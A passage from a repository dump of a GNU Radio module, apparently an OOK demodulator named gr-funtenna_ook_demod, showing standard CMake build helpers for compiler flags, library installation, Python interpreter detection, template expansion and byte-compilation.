| # - flag the compiler flag to check for 91 | # - have the variable to set with result 92 | ######################################################################## 93 | macro(GR_ADD_CXX_COMPILER_FLAG_IF_AVAILABLE flag have) 94 | include(CheckCXXCompilerFlag) 95 | CHECK_CXX_COMPILER_FLAG(${flag} ${have}) 96 | if(${have}) 97 | if(${CMAKE_VERSION} VERSION_GREATER "2.8.4") 98 | STRING(FIND "${CMAKE_CXX_FLAGS}" "${flag}" flag_dup) 99 | if(${flag_dup} EQUAL -1) 100 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} ${flag}") 101 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} ${flag}") 102 | endif(${flag_dup} EQUAL -1) 103 | endif(${CMAKE_VERSION} VERSION_GREATER "2.8.4") 104 | endif(${have}) 105 | endmacro(GR_ADD_CXX_COMPILER_FLAG_IF_AVAILABLE) 106 | 107 | ######################################################################## 108 | # Generates the .la libtool file 109 | # This appears to generate libtool files that cannot be used by auto*. 110 | # Usage GR_LIBTOOL(TARGET [target] DESTINATION [dest]) 111 | # Notice: there is not COMPONENT option, these will not get distributed. 112 | ######################################################################## 113 | function(GR_LIBTOOL) 114 | if(NOT DEFINED GENERATE_LIBTOOL) 115 | set(GENERATE_LIBTOOL OFF) #disabled by default 116 | endif() 117 | 118 | if(GENERATE_LIBTOOL) 119 | include(CMakeParseArgumentsCopy) 120 | CMAKE_PARSE_ARGUMENTS(GR_LIBTOOL "" "TARGET;DESTINATION" "" ${ARGN}) 121 | 122 | find_program(LIBTOOL libtool) 123 | if(LIBTOOL) 124 | include(CMakeMacroLibtoolFile) 125 | CREATE_LIBTOOL_FILE(${GR_LIBTOOL_TARGET} /${GR_LIBTOOL_DESTINATION}) 126 | endif(LIBTOOL) 127 | endif(GENERATE_LIBTOOL) 128 | 129 | endfunction(GR_LIBTOOL) 130 | 131 | ######################################################################## 132 | # Do standard things to the library target 133 | # - set target properties 134 | # - make install rules 135 | # Also handle gnuradio custom naming conventions w/ extras mode. 136 | ######################################################################## 137 | function(GR_LIBRARY_FOO target) 138 | #parse the arguments for component names 139 | include(CMakeParseArgumentsCopy) 140 | CMAKE_PARSE_ARGUMENTS(GR_LIBRARY "" "RUNTIME_COMPONENT;DEVEL_COMPONENT" "" ${ARGN}) 141 | 142 | #set additional target properties 143 | set_target_properties(${target} PROPERTIES SOVERSION ${LIBVER}) 144 | 145 | #install the generated files like so... 146 | install(TARGETS ${target} 147 | LIBRARY DESTINATION ${GR_LIBRARY_DIR} COMPONENT ${GR_LIBRARY_RUNTIME_COMPONENT} # .so/.dylib file 148 | ARCHIVE DESTINATION ${GR_LIBRARY_DIR} COMPONENT ${GR_LIBRARY_DEVEL_COMPONENT} # .lib file 149 | RUNTIME DESTINATION ${GR_RUNTIME_DIR} COMPONENT ${GR_LIBRARY_RUNTIME_COMPONENT} # .dll file 150 | ) 151 | 152 | #extras mode enabled automatically on linux 153 | if(NOT DEFINED LIBRARY_EXTRAS) 154 | set(LIBRARY_EXTRAS ${LINUX}) 155 | endif() 156 | 157 | #special extras mode to enable alternative naming conventions 158 | if(LIBRARY_EXTRAS) 159 | 160 | #create .la file before changing props 161 | GR_LIBTOOL(TARGET ${target} DESTINATION ${GR_LIBRARY_DIR}) 162 | 163 | #give the library a special name with ultra-zero soversion 164 | set_target_properties(${target} PROPERTIES OUTPUT_NAME ${target}-${LIBVER} SOVERSION "0.0.0") 165 | set(target_name lib${target}-${LIBVER}.so.0.0.0) 166 | 167 | #custom command to generate symlinks 168 | add_custom_command( 169 | TARGET ${target} 170 | POST_BUILD 171 | COMMAND ${CMAKE_COMMAND} -E create_symlink ${target_name} ${CMAKE_CURRENT_BINARY_DIR}/lib${target}.so 172 | COMMAND ${CMAKE_COMMAND} -E create_symlink ${target_name} ${CMAKE_CURRENT_BINARY_DIR}/lib${target}-${LIBVER}.so.0 173 | COMMAND ${CMAKE_COMMAND} -E touch ${target_name} #so the symlinks point to something valid so cmake 2.6 will install 174 | ) 175 | 176 | #and install the extra symlinks 177 | install( 178 | FILES 179 | ${CMAKE_CURRENT_BINARY_DIR}/lib${target}.so 180 | ${CMAKE_CURRENT_BINARY_DIR}/lib${target}-${LIBVER}.so.0 181 | DESTINATION ${GR_LIBRARY_DIR} COMPONENT ${GR_LIBRARY_RUNTIME_COMPONENT} 182 | ) 183 | 184 | endif(LIBRARY_EXTRAS) 185 | endfunction(GR_LIBRARY_FOO) 186 | 187 | ######################################################################## 188 | # Create a dummy custom command that depends on other targets. 189 | # Usage: 190 | # GR_GEN_TARGET_DEPS(unique_name target_deps ...) 191 | # ADD_CUSTOM_COMMAND( ${target_deps}) 192 | # 193 | # Custom command cant depend on targets, but can depend on executables, 194 | # and executables can depend on targets. So this is the process: 195 | ######################################################################## 196 | function(GR_GEN_TARGET_DEPS name var) 197 | file( 198 | WRITE ${CMAKE_CURRENT_BINARY_DIR}/${name}.cpp.in 199 | "int main(void){return 0;}\n" 200 | ) 201 | execute_process( 202 | COMMAND ${CMAKE_COMMAND} -E copy_if_different 203 | ${CMAKE_CURRENT_BINARY_DIR}/${name}.cpp.in 204 | ${CMAKE_CURRENT_BINARY_DIR}/${name}.cpp 205 | ) 206 | add_executable(${name} ${CMAKE_CURRENT_BINARY_DIR}/${name}.cpp) 207 | if(ARGN) 208 | add_dependencies(${name} ${ARGN}) 209 | endif(ARGN) 210 | 211 | if(CMAKE_CROSSCOMPILING) 212 | set(${var} "DEPENDS;${name}" PARENT_SCOPE) #cant call command when cross 213 | else() 214 | set(${var} "DEPENDS;${name};COMMAND;${name}" PARENT_SCOPE) 215 | endif() 216 | endfunction(GR_GEN_TARGET_DEPS) 217 | 218 | ######################################################################## 219 | # Control use of gr_logger 220 | # Usage: 221 | # GR_LOGGING() 222 | # 223 | # Will set ENABLE_GR_LOG to 1 by default. 224 | # Can manually set with -DENABLE_GR_LOG=0|1 225 | ######################################################################## 226 | function(GR_LOGGING) 227 | find_package(Log4cpp) 228 | 229 | OPTION(ENABLE_GR_LOG "Use gr_logger" ON) 230 | if(ENABLE_GR_LOG) 231 | # If gr_logger is enabled, make it usable 232 | add_definitions( -DENABLE_GR_LOG ) 233 | 234 | # also test LOG4CPP; if we have it, use this version of the logger 235 | # otherwise, default to the stdout/stderr model. 236 | if(LOG4CPP_FOUND) 237 | SET(HAVE_LOG4CPP True CACHE INTERNAL "" FORCE) 238 | add_definitions( -DHAVE_LOG4CPP ) 239 | else(not LOG4CPP_FOUND) 240 | SET(HAVE_LOG4CPP False CACHE INTERNAL "" FORCE) 241 | SET(LOG4CPP_INCLUDE_DIRS "" CACHE INTERNAL "" FORCE) 242 | SET(LOG4CPP_LIBRARY_DIRS "" CACHE INTERNAL "" FORCE) 243 | SET(LOG4CPP_LIBRARIES "" CACHE INTERNAL "" FORCE) 244 | endif(LOG4CPP_FOUND) 245 | 246 | SET(ENABLE_GR_LOG ${ENABLE_GR_LOG} CACHE INTERNAL "" FORCE) 247 | 248 | else(ENABLE_GR_LOG) 249 | SET(HAVE_LOG4CPP False CACHE INTERNAL "" FORCE) 250 | SET(LOG4CPP_INCLUDE_DIRS "" CACHE INTERNAL "" FORCE) 251 | SET(LOG4CPP_LIBRARY_DIRS "" CACHE INTERNAL "" FORCE) 252 | SET(LOG4CPP_LIBRARIES "" CACHE INTERNAL "" FORCE) 253 | endif(ENABLE_GR_LOG) 254 | 255 | message(STATUS "ENABLE_GR_LOG set to ${ENABLE_GR_LOG}.") 256 | message(STATUS "HAVE_LOG4CPP set to ${HAVE_LOG4CPP}.") 257 | message(STATUS "LOG4CPP_LIBRARIES set to ${LOG4CPP_LIBRARIES}.") 258 | 259 | endfunction(GR_LOGGING) 260 | 261 | ######################################################################## 262 | # Run GRCC to compile .grc files into .py files. 263 | # 264 | # Usage: GRCC(filename, directory) 265 | # - filenames: List of file name of .grc file 266 | # - directory: directory of built .py file - usually in 267 | # ${CMAKE_CURRENT_BINARY_DIR} 268 | # - Sets PYFILES: output converted GRC file names to Python files. 269 | ######################################################################## 270 | function(GRCC) 271 | # Extract directory from list of args, remove it for the list of filenames. 272 | list(GET ARGV -1 directory) 273 | list(REMOVE_AT ARGV -1) 274 | set(filenames ${ARGV}) 275 | file(MAKE_DIRECTORY ${directory}) 276 | 277 | SET(GRCC_COMMAND ${CMAKE_SOURCE_DIR}/gr-utils/python/grcc) 278 | 279 | # GRCC uses some stuff in grc and gnuradio-runtime, so we force 280 | # the known paths here 281 | list(APPEND PYTHONPATHS 282 | ${CMAKE_SOURCE_DIR} 283 | ${CMAKE_SOURCE_DIR}/gnuradio-runtime/python 284 | ${CMAKE_SOURCE_DIR}/gnuradio-runtime/lib/swig 285 | ${CMAKE_BINARY_DIR}/gnuradio-runtime/lib/swig 286 | ) 287 | 288 | if(WIN32) 289 | #SWIG generates the python library files into a subdirectory. 290 | #Therefore, we must append this subdirectory into PYTHONPATH. 291 | #Only do this for the python directories matching the following: 292 | foreach(pydir ${PYTHONPATHS}) 293 | get_filename_component(name ${pydir} NAME) 294 | if(name MATCHES "^(swig|lib|src)$") 295 | list(APPEND PYTHONPATHS ${pydir}/${CMAKE_BUILD_TYPE}) 296 | endif() 297 | endforeach(pydir) 298 | endif(WIN32) 299 | 300 | file(TO_NATIVE_PATH "${PYTHONPATHS}" pypath) 301 | 302 | if(UNIX) 303 | list(APPEND pypath "$PYTHONPATH") 304 | string(REPLACE ";" ":" pypath "${pypath}") 305 | set(ENV{PYTHONPATH} ${pypath}) 306 | endif(UNIX) 307 | 308 | if(WIN32) 309 | list(APPEND pypath "%PYTHONPATH%") 310 | string(REPLACE ";" "\\;" pypath "${pypath}") 311 | #list(APPEND environs "PYTHONPATH=${pypath}") 312 | set(ENV{PYTHONPATH} ${pypath}) 313 | endif(WIN32) 314 | 315 | foreach(f ${filenames}) 316 | execute_process( 317 | COMMAND ${GRCC_COMMAND} -d ${directory} ${f} 318 | ) 319 | string(REPLACE ".grc" ".py" pyfile "${f}") 320 | string(REPLACE "${CMAKE_CURRENT_SOURCE_DIR}" "${CMAKE_CURRENT_BINARY_DIR}" pyfile "${pyfile}") 321 | list(APPEND pyfiles ${pyfile}) 322 | endforeach(f) 323 | 324 | set(PYFILES ${pyfiles} PARENT_SCOPE) 325 | endfunction(GRCC) 326 | 327 | ######################################################################## 328 | # Check if HAVE_PTHREAD_SETSCHEDPARAM and HAVE_SCHED_SETSCHEDULER 329 | # should be defined 330 | ######################################################################## 331 | macro(GR_CHECK_LINUX_SCHED_AVAIL) 332 | set(CMAKE_REQUIRED_LIBRARIES -lpthread) 333 | CHECK_CXX_SOURCE_COMPILES(" 334 | #include 335 | int main(){ 336 | pthread_t pthread; 337 | pthread_setschedparam(pthread, 0, 0); 338 | return 0; 339 | } " HAVE_PTHREAD_SETSCHEDPARAM 340 | ) 341 | GR_ADD_COND_DEF(HAVE_PTHREAD_SETSCHEDPARAM) 342 | 343 | CHECK_CXX_SOURCE_COMPILES(" 344 | #include 345 | int main(){ 346 | pid_t pid; 347 | sched_setscheduler(pid, 0, 0); 348 | return 0; 349 | } " HAVE_SCHED_SETSCHEDULER 350 | ) 351 | GR_ADD_COND_DEF(HAVE_SCHED_SETSCHEDULER) 352 | endmacro(GR_CHECK_LINUX_SCHED_AVAIL) 353 | 354 | ######################################################################## 355 | # Macros to generate source and header files from template 356 | ######################################################################## 357 | macro(GR_EXPAND_X_H component root) 358 | 359 | include(GrPython) 360 | 361 | file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/generate_helper.py 362 | "#!${PYTHON_EXECUTABLE} 363 | 364 | import sys, os, re 365 | sys.path.append('${GR_RUNTIME_PYTHONPATH}') 366 | os.environ['srcdir'] = '${CMAKE_CURRENT_SOURCE_DIR}' 367 | os.chdir('${CMAKE_CURRENT_BINARY_DIR}') 368 | 369 | if __name__ == '__main__': 370 | import build_utils 371 | root, inp = sys.argv[1:3] 372 | for sig in sys.argv[3:]: 373 | name = re.sub ('X+', sig, root) 374 | d = build_utils.standard_dict2(name, sig, '${component}') 375 | build_utils.expand_template(d, inp) 376 | ") 377 | 378 | #make a list of all the generated headers 379 | unset(expanded_files_h) 380 | foreach(sig ${ARGN}) 381 | string(REGEX REPLACE "X+" ${sig} name ${root}) 382 | list(APPEND expanded_files_h ${CMAKE_CURRENT_BINARY_DIR}/${name}.h) 383 | endforeach(sig) 384 | unset(name) 385 | 386 | #create a command to generate the headers 387 | add_custom_command( 388 | OUTPUT ${expanded_files_h} 389 | DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/${root}.h.t 390 | COMMAND ${PYTHON_EXECUTABLE} ${PYTHON_DASH_B} 391 | ${CMAKE_CURRENT_BINARY_DIR}/generate_helper.py 392 | ${root} ${root}.h.t ${ARGN} 393 | ) 394 | 395 | #install rules for the generated headers 396 | list(APPEND generated_includes ${expanded_files_h}) 397 | 398 | endmacro(GR_EXPAND_X_H) 399 | 400 | macro(GR_EXPAND_X_CC_H component root) 401 | 402 | include(GrPython) 403 | 404 | file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/generate_helper.py 405 | "#!${PYTHON_EXECUTABLE} 406 | 407 | import sys, os, re 408 | sys.path.append('${GR_RUNTIME_PYTHONPATH}') 409 | os.environ['srcdir'] = '${CMAKE_CURRENT_SOURCE_DIR}' 410 | os.chdir('${CMAKE_CURRENT_BINARY_DIR}') 411 | 412 | if __name__ == '__main__': 413 | import build_utils 414 | root, inp = sys.argv[1:3] 415 | for sig in sys.argv[3:]: 416 | name = re.sub ('X+', sig, root) 417 | d = build_utils.standard_impl_dict2(name, sig, '${component}') 418 | build_utils.expand_template(d, inp) 419 | ") 420 | 421 | #make a list of all the generated files 422 | unset(expanded_files_cc) 423 | unset(expanded_files_h) 424 | foreach(sig ${ARGN}) 425 | string(REGEX REPLACE "X+" ${sig} name ${root}) 426 | list(APPEND expanded_files_cc ${CMAKE_CURRENT_BINARY_DIR}/${name}.cc) 427 | list(APPEND expanded_files_h ${CMAKE_CURRENT_BINARY_DIR}/${name}.h) 428 | endforeach(sig) 429 | unset(name) 430 | 431 | #create a command to generate the source files 432 | add_custom_command( 433 | OUTPUT ${expanded_files_cc} 434 | DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/${root}.cc.t 435 | COMMAND ${PYTHON_EXECUTABLE} ${PYTHON_DASH_B} 436 | ${CMAKE_CURRENT_BINARY_DIR}/generate_helper.py 437 | ${root} ${root}.cc.t ${ARGN} 438 | ) 439 | 440 | #create a command to generate the header files 441 | add_custom_command( 442 | OUTPUT ${expanded_files_h} 443 | DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/${root}.h.t 444 | COMMAND ${PYTHON_EXECUTABLE} ${PYTHON_DASH_B} 445 | ${CMAKE_CURRENT_BINARY_DIR}/generate_helper.py 446 | ${root} ${root}.h.t ${ARGN} 447 | ) 448 | 449 | #make source files depends on headers to force generation 450 | set_source_files_properties(${expanded_files_cc} 451 | PROPERTIES OBJECT_DEPENDS "${expanded_files_h}" 452 | ) 453 | 454 | #install rules for the generated files 455 | list(APPEND generated_sources ${expanded_files_cc}) 456 | list(APPEND generated_headers ${expanded_files_h}) 457 | 458 | endmacro(GR_EXPAND_X_CC_H) 459 | 460 | macro(GR_EXPAND_X_CC_H_IMPL component root) 461 | 462 | include(GrPython) 463 | 464 | file(WRITE ${CMAKE_CURRENT_BINARY_DIR}/generate_helper.py 465 | "#!${PYTHON_EXECUTABLE} 466 | 467 | import sys, os, re 468 | sys.path.append('${GR_RUNTIME_PYTHONPATH}') 469 | os.environ['srcdir'] = '${CMAKE_CURRENT_SOURCE_DIR}' 470 | os.chdir('${CMAKE_CURRENT_BINARY_DIR}') 471 | 472 | if __name__ == '__main__': 473 | import build_utils 474 | root, inp = sys.argv[1:3] 475 | for sig in sys.argv[3:]: 476 | name = re.sub ('X+', sig, root) 477 | d = build_utils.standard_dict(name, sig, '${component}') 478 | build_utils.expand_template(d, inp, '_impl') 479 | ") 480 | 481 | #make a list of all the generated files 482 | unset(expanded_files_cc_impl) 483 | unset(expanded_files_h_impl) 484 | unset(expanded_files_h) 485 | foreach(sig ${ARGN}) 486 | string(REGEX REPLACE "X+" ${sig} name ${root}) 487 | list(APPEND expanded_files_cc_impl ${CMAKE_CURRENT_BINARY_DIR}/${name}_impl.cc) 488 | list(APPEND expanded_files_h_impl ${CMAKE_CURRENT_BINARY_DIR}/${name}_impl.h) 489 | list(APPEND expanded_files_h ${CMAKE_CURRENT_BINARY_DIR}/../include/gnuradio/${component}/${name}.h) 490 | endforeach(sig) 491 | unset(name) 492 | 493 | #create a command to generate the _impl.cc files 494 | add_custom_command( 495 | OUTPUT ${expanded_files_cc_impl} 496 | DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/${root}_impl.cc.t 497 | COMMAND ${PYTHON_EXECUTABLE} ${PYTHON_DASH_B} 498 | ${CMAKE_CURRENT_BINARY_DIR}/generate_helper.py 499 | ${root} ${root}_impl.cc.t ${ARGN} 500 | ) 501 | 502 | #create a command to generate the _impl.h files 503 | add_custom_command( 504 | OUTPUT ${expanded_files_h_impl} 505 | DEPENDS ${CMAKE_CURRENT_SOURCE_DIR}/${root}_impl.h.t 506 | COMMAND ${PYTHON_EXECUTABLE} ${PYTHON_DASH_B} 507 | ${CMAKE_CURRENT_BINARY_DIR}/generate_helper.py 508 | ${root} ${root}_impl.h.t ${ARGN} 509 | ) 510 | 511 | #make _impl.cc source files depend on _impl.h to force generation 512 | set_source_files_properties(${expanded_files_cc_impl} 513 | PROPERTIES OBJECT_DEPENDS "${expanded_files_h_impl}" 514 | ) 515 | 516 | #make _impl.h source files depend on headers to force generation 517 | set_source_files_properties(${expanded_files_h_impl} 518 | PROPERTIES OBJECT_DEPENDS "${expanded_files_h}" 519 | ) 520 | 521 | #install rules for the generated files 522 | list(APPEND generated_sources ${expanded_files_cc_impl}) 523 | list(APPEND generated_headers ${expanded_files_h_impl}) 524 | 525 | endmacro(GR_EXPAND_X_CC_H_IMPL) 526 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/GrPlatform.cmake: -------------------------------------------------------------------------------- 1 | # Copyright 2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | if(DEFINED __INCLUDED_GR_PLATFORM_CMAKE) 21 | return() 22 | endif() 23 | set(__INCLUDED_GR_PLATFORM_CMAKE TRUE) 24 | 25 | ######################################################################## 26 | # Setup additional defines for OS types 27 | ######################################################################## 28 | if(CMAKE_SYSTEM_NAME STREQUAL "Linux") 29 | set(LINUX TRUE) 30 | endif() 31 | 32 | if(LINUX AND EXISTS "/etc/debian_version") 33 | set(DEBIAN TRUE) 34 | endif() 35 | 36 | if(LINUX AND EXISTS "/etc/redhat-release") 37 | set(REDHAT TRUE) 38 | endif() 39 | 40 | if(LINUX AND EXISTS "/etc/slackware-version") 41 | set(SLACKWARE TRUE) 42 | endif() 43 | 44 | ######################################################################## 45 | # when the library suffix should be 64 (applies to redhat linux family) 46 | ######################################################################## 47 | if (REDHAT OR SLACKWARE) 48 | set(LIB64_CONVENTION TRUE) 49 | endif() 50 | 51 | if(NOT DEFINED LIB_SUFFIX AND LIB64_CONVENTION AND CMAKE_SYSTEM_PROCESSOR MATCHES "64$") 52 | set(LIB_SUFFIX 64) 53 | endif() 54 | set(LIB_SUFFIX ${LIB_SUFFIX} CACHE STRING "lib directory suffix") 55 | -------------------------------------------------------------------------------- /gr-funtenna_ook_demod/cmake/Modules/GrPython.cmake: -------------------------------------------------------------------------------- 1 | # Copyright 2010-2011 Free Software Foundation, Inc. 2 | # 3 | # This file is part of GNU Radio 4 | # 5 | # GNU Radio is free software; you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation; either version 3, or (at your option) 8 | # any later version. 9 | # 10 | # GNU Radio is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with GNU Radio; see the file COPYING. If not, write to 17 | # the Free Software Foundation, Inc., 51 Franklin Street, 18 | # Boston, MA 02110-1301, USA. 19 | 20 | if(DEFINED __INCLUDED_GR_PYTHON_CMAKE) 21 | return() 22 | endif() 23 | set(__INCLUDED_GR_PYTHON_CMAKE TRUE) 24 | 25 | ######################################################################## 26 | # Setup the python interpreter: 27 | # This allows the user to specify a specific interpreter, 28 | # or finds the interpreter via the built-in cmake module. 29 | ######################################################################## 30 | #this allows the user to override PYTHON_EXECUTABLE 31 | if(PYTHON_EXECUTABLE) 32 | 33 | set(PYTHONINTERP_FOUND TRUE) 34 | 35 | #otherwise if not set, try to automatically find it 36 | else(PYTHON_EXECUTABLE) 37 | 38 | #use the built-in find script 39 | find_package(PythonInterp 2) 40 | 41 | #and if that fails use the find program routine 42 | if(NOT PYTHONINTERP_FOUND) 43 | find_program(PYTHON_EXECUTABLE NAMES python python2 python2.7 python2.6 python2.5) 44 | if(PYTHON_EXECUTABLE) 45 | set(PYTHONINTERP_FOUND TRUE) 46 | endif(PYTHON_EXECUTABLE) 47 | endif(NOT PYTHONINTERP_FOUND) 48 | 49 | endif(PYTHON_EXECUTABLE) 50 | 51 | if (CMAKE_CROSSCOMPILING) 52 | set(QA_PYTHON_EXECUTABLE "/usr/bin/python") 53 | else (CMAKE_CROSSCOMPILING) 54 | set(QA_PYTHON_EXECUTABLE ${PYTHON_EXECUTABLE}) 55 | endif(CMAKE_CROSSCOMPILING) 56 | 57 | #make the path to the executable appear in the cmake gui 58 | set(PYTHON_EXECUTABLE ${PYTHON_EXECUTABLE} CACHE FILEPATH "python interpreter") 59 | set(QA_PYTHON_EXECUTABLE ${QA_PYTHON_EXECUTABLE} CACHE FILEPATH "python interpreter for QA tests") 60 | 61 | #make sure we can use -B with python (introduced in 2.6) 62 | if(PYTHON_EXECUTABLE) 63 | execute_process( 64 | COMMAND ${PYTHON_EXECUTABLE} -B -c "" 65 | OUTPUT_QUIET ERROR_QUIET 66 | RESULT_VARIABLE PYTHON_HAS_DASH_B_RESULT 67 | ) 68 | if(PYTHON_HAS_DASH_B_RESULT EQUAL 0) 69 | set(PYTHON_DASH_B "-B") 70 | endif() 71 | endif(PYTHON_EXECUTABLE) 72 | 73 | ######################################################################## 74 | # Check for the existence of a python module: 75 | # - desc a string description of the check 76 | # - mod the name of the module to import 77 | # - cmd an additional command to run 78 | # - have the result variable to set 79 | ######################################################################## 80 | macro(GR_PYTHON_CHECK_MODULE desc mod cmd have) 81 | message(STATUS "") 82 | message(STATUS "Python checking for ${desc}") 83 | execute_process( 84 | COMMAND ${PYTHON_EXECUTABLE} -c " 85 | ######################################### 86 | try: 87 | import ${mod} 88 | assert ${cmd} 89 | except ImportError, AssertionError: exit(-1) 90 | except: pass 91 | #########################################" 92 | RESULT_VARIABLE ${have} 93 | ) 94 | if(${have} EQUAL 0) 95 | message(STATUS "Python checking for ${desc} - found") 96 | set(${have} TRUE) 97 | else(${have} EQUAL 0) 98 | message(STATUS "Python checking for ${desc} - not found") 99 | set(${have} FALSE) 100 | endif(${have} EQUAL 0) 101 | endmacro(GR_PYTHON_CHECK_MODULE) 102 | 103 | ######################################################################## 104 | # Sets the python installation directory GR_PYTHON_DIR 105 | ######################################################################## 106 | if(NOT DEFINED GR_PYTHON_DIR) 107 | execute_process(COMMAND ${PYTHON_EXECUTABLE} -c " 108 | from distutils import sysconfig 109 | print sysconfig.get_python_lib(plat_specific=True, prefix='') 110 | " OUTPUT_VARIABLE GR_PYTHON_DIR OUTPUT_STRIP_TRAILING_WHITESPACE 111 | ) 112 | endif() 113 | file(TO_CMAKE_PATH ${GR_PYTHON_DIR} GR_PYTHON_DIR) 114 | 115 | ######################################################################## 116 | # Create an always-built target with a unique name 117 | # Usage: GR_UNIQUE_TARGET( ) 118 | ######################################################################## 119 | function(GR_UNIQUE_TARGET desc) 120 | file(RELATIVE_PATH reldir ${CMAKE_BINARY_DIR} ${CMAKE_CURRENT_BINARY_DIR}) 121 | execute_process(COMMAND ${PYTHON_EXECUTABLE} -c "import re, hashlib 122 | unique = hashlib.md5('${reldir}${ARGN}').hexdigest()[:5] 123 | print(re.sub('\\W', '_', '${desc} ${reldir} ' + unique))" 124 | OUTPUT_VARIABLE _target OUTPUT_STRIP_TRAILING_WHITESPACE) 125 | add_custom_target(${_target} ALL DEPENDS ${ARGN}) 126 | endfunction(GR_UNIQUE_TARGET) 127 | 128 | ######################################################################## 129 | # Install python sources (also builds and installs byte-compiled python) 130 | ######################################################################## 131 | function(GR_PYTHON_INSTALL) 132 | include(CMakeParseArgumentsCopy) 133 | CMAKE_PARSE_ARGUMENTS(GR_PYTHON_INSTALL "" "DESTINATION;COMPONENT" "FILES;PROGRAMS" ${ARGN}) 134 | 135 | #################################################################### 136 | if(GR_PYTHON_INSTALL_FILES) 137 | #################################################################### 138 | install(${ARGN}) #installs regular python files 139 | 140 | #create a list of all generated files 141 | unset(pysrcfiles) 142 | unset(pycfiles) 143 | unset(pyofiles) 144 | foreach(pyfile ${GR_PYTHON_INSTALL_FILES}) 145 | get_filename_component(pyfile ${pyfile} ABSOLUTE) 146 | list(APPEND pysrcfiles ${pyfile}) 147 | 148 | #determine if this file is in the source or binary directory 149 | file(RELATIVE_PATH source_rel_path ${CMAKE_CURRENT_SOURCE_DIR} ${pyfile}) 150 | string(LENGTH "${source_rel_path}" source_rel_path_len) 151 | file(RELATIVE_PATH binary_rel_path ${CMAKE_CURRENT_BINARY_DIR} ${pyfile}) 152 | string(LENGTH "${binary_rel_path}" binary_rel_path_len) 153 | 154 | #and set the generated path appropriately 155 | if(${source_rel_path_len} GREATER ${binary_rel_path_len}) 156 | set(pygenfile ${CMAKE_CURRENT_BINARY_DIR}/${binary_rel_path}) 157 | else() 158 | set(pygenfile ${CMAKE_CURRENT_BINARY_DIR}/${source_rel_path}) 159 | endif() 160 | list(APPEND pycfiles ${pygenfile}c) 161 | list(APPEND pyofiles ${pygenfile}o) 162 | 163 | #ensure generation path exists 164 | get_filename_component(pygen_path ${pygenfile} PATH) 165 | file(MAKE_DIRECTORY ${pygen_path}) 166 | 167 | endforeach(pyfile) 168 | 169 | #the command to generate the pyc files 170 | add_custom_command( 171 | DEPENDS ${pysrcfiles} OUTPUT ${pycfiles} 172 | COMMAND ${PYTHON_EXECUTABLE} ${CMAKE_BINARY_DIR}/python_compile_helper.py ${pysrcfiles} ${pycfiles} 173 | ) 174 | 175 | #the command to generate the pyo files 176 | add_custom_command( 177 | DEPENDS ${pysrcfiles} OUTPUT ${pyofiles} 178 | COMMAND ${PYTHON_EXECUTABLE} -O ${CMAKE_BINARY_DIR}/python_compile_helper.py ${pysrcfiles} ${pyofiles} 179 | ) 180 | 181 | #create install rule and add generated files to target list 182 | set(python_install_gen_targets ${pycfiles} ${pyofiles}) 183 | install(FILES ${python_install_gen_targets} 184 | DESTINATION ${GR_PYTHON_INSTALL_DESTINATION} 185 | COMPONENT ${GR_PYTHON_INSTALL_COMPONENT} 186 | ) 187 | 188 | #################################################################### 189 | elseif(GR_PYTHON_INSTALL_PROGRAMS) 190 | #################################################################### 191 | file(TO_NATIVE_PATH ${PYTHON_EXECUTABLE} pyexe_native) 192 | 193 | if (CMAKE_CROSSCOMPILING) 194 | set(pyexe_native "/usr/bin/env python") 195 | endif() 196 | 197 | foreach(pyfile ${GR_PYTHON_INSTALL_PROGRAMS}) 198 | get_filename_component(pyfile_name ${pyfile} NAME) 199 | get_filename_component(pyfile ${pyfile} ABSOLUTE) 200 | string(REPLACE "${CMAKE_SOURCE_DIR}" "${CMAKE_BINARY_DIR}" pyexefile "${pyfile}.exe") 201 | list(APPEND python_install_gen_targets ${pyexefile}) 202 | 203 | get_filename_component(pyexefile_path ${pyexefile} PATH) 204 | file(MAKE_DIRECTORY ${pyexefile_path}) 205 | 206 | add_custom_command( 207 | OUTPUT ${pyexefile} DEPENDS ${pyfile} 208 | COMMAND ${PYTHON_EXECUTABLE} -c 209 | "import re; R=re.compile('^\#!.*$\\n',flags=re.MULTILINE); open('${pyexefile}','w').write('\#!${pyexe_native}\\n'+R.sub('',open('${pyfile}','r').read()))" 210 | COMMENT "Shebangin ${pyfile_name}" 211 | VERBATIM 212 | ) 213 | 214 | #on windows, python files need an extension to execute 215 | get_filename_component(pyfile_ext ${pyfile} EXT) 216 | if(WIN32 AND NOT pyfile_ext) 217 | set(pyfile_name "${pyfile_name}.py") 218 | endif() 219 | 220 | install(PROGRAMS ${pyexefile} RENAME ${pyfile_name} 221 | DESTINATION ${GR_PYTHON_INSTALL_DESTINATION} 222 | COMPONENT ${GR_PYTHON_INSTALL_COMPONENT} 223 | ) 224 | endforeach(pyfile) 225 | 226 | endif() 227 | 228 | GR_UNIQUE_TARGET("pygen" ${python_install_gen_targets}) 229 | 230 | endfunction(GR_PYTHON_INSTALL) 231 | 232 | ######################################################################## 233 | # Write the python helper script that generates byte code files 234 | ######################################################################## 235 | file(WRITE 